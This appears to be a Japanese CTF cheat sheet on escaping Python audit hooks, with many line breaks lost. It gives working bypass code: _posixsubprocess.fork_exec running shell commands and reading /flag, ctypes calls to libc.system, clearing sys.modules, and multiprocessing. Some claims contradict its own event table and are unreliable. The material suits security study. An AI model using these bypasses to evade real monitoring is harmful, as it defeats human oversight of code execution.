Audit Hooks Bypass
Overview
Python 3.8 で導入された PEP 578 audit hooks は、セキュリティ監視のためのフック機構。しかし、いくつかの方法でバイパスできる。
Audit Hooks の基本
import sys
def audit_hook(event, args): print(f"Event: {event}, Args: {args}")
sys.addaudithook(audit_hook)
# 以降、os.system() などが監視されるimport osos.system('id') # Event: os.system, Args: ('id',)_posixsubprocess.fork_exec
audit hook をトリガーしない低レベル関数。
import _posixsubprocessimport os
# fork_exec は audit hook を呼ばない_posixsubprocess.fork_exec( [b'/bin/sh', b'-c', b'id'], # args [b'/bin/sh'], # executable_list True, # close_fds (), # pass_fds '', # cwd {}, # env -1, -1, -1, # stdin, stdout, stderr -1, -1, # errpipe_read, errpipe_write False, # restore_signals False, # call_setsid -1, -1, -1, # gid, extra_groups, uid -1, # child_umask None # preexec_fn)hxp CTF 2021 audited2 の解法
import _posixsubprocessimport os
# pipe を作成r, w = os.pipe()
# fork_exec でコマンド実行pid = _posixsubprocess.fork_exec( [b'/bin/cat', b'/flag'], [b'/bin/cat'], True, (), '', {}, -1, w, -1, # stdout を pipe に接続 -1, -1, False, False, -1, -1, -1, -1, None)
# 結果を読み取りos.close(w)print(os.read(r, 1024))ctypes による libc 直接呼び出し
import ctypes
# libc をロードlibc = ctypes.CDLL(None)
# system() を直接呼び出し (audit hook をバイパス)libc.system(b'id')sys.modules の操作
import sys
# audit モジュールが使用する参照を破壊sys.modules['os'] = Nonesys.modules['subprocess'] = None
# または modules を空にするsys.modules.clear()__builtins__ の audit 関数削除
# audit 関数自体を削除del sys.auditdel sys.addaudithook注意: 既に登録されたフックは削除できない。
multiprocessing による回避
import multiprocessing
def evil(): import os os.system('id')
# 別プロセスでは audit hook が未登録p = multiprocessing.Process(target=evil)p.start()exec によるコード実行
audit hook は特定のイベントのみを監視する。監視されていない操作は検出されない。
# compile + exec は監視されない場合があるcode = compile('__import__("os").system("id")', '<string>', 'exec')exec(code)監視されるイベント一覧
| イベント | トリガー |
|---|---|
import | モジュールインポート |
compile | コードコンパイル |
exec | コード実行 |
os.system | os.system() 呼び出し |
subprocess.Popen | subprocess 使用 |
socket.connect | ネットワーク接続 |
open | ファイルオープン |
PyAuCalc (0CTF 2020) のアプローチ
ctypes で audit hook 配列を直接操作:
import ctypesimport sys
# Python インタープリタの内部構造にアクセス# audit hooks 配列を空にするTips
- audit hooks は削除できない、追加のみ可能
- 子プロセス/スレッドには継承されない場合がある
_posixsubprocessは Linux/macOS のみ- Windows では
_winapiを使用 - ctypes はほぼ全ての制限をバイパスできる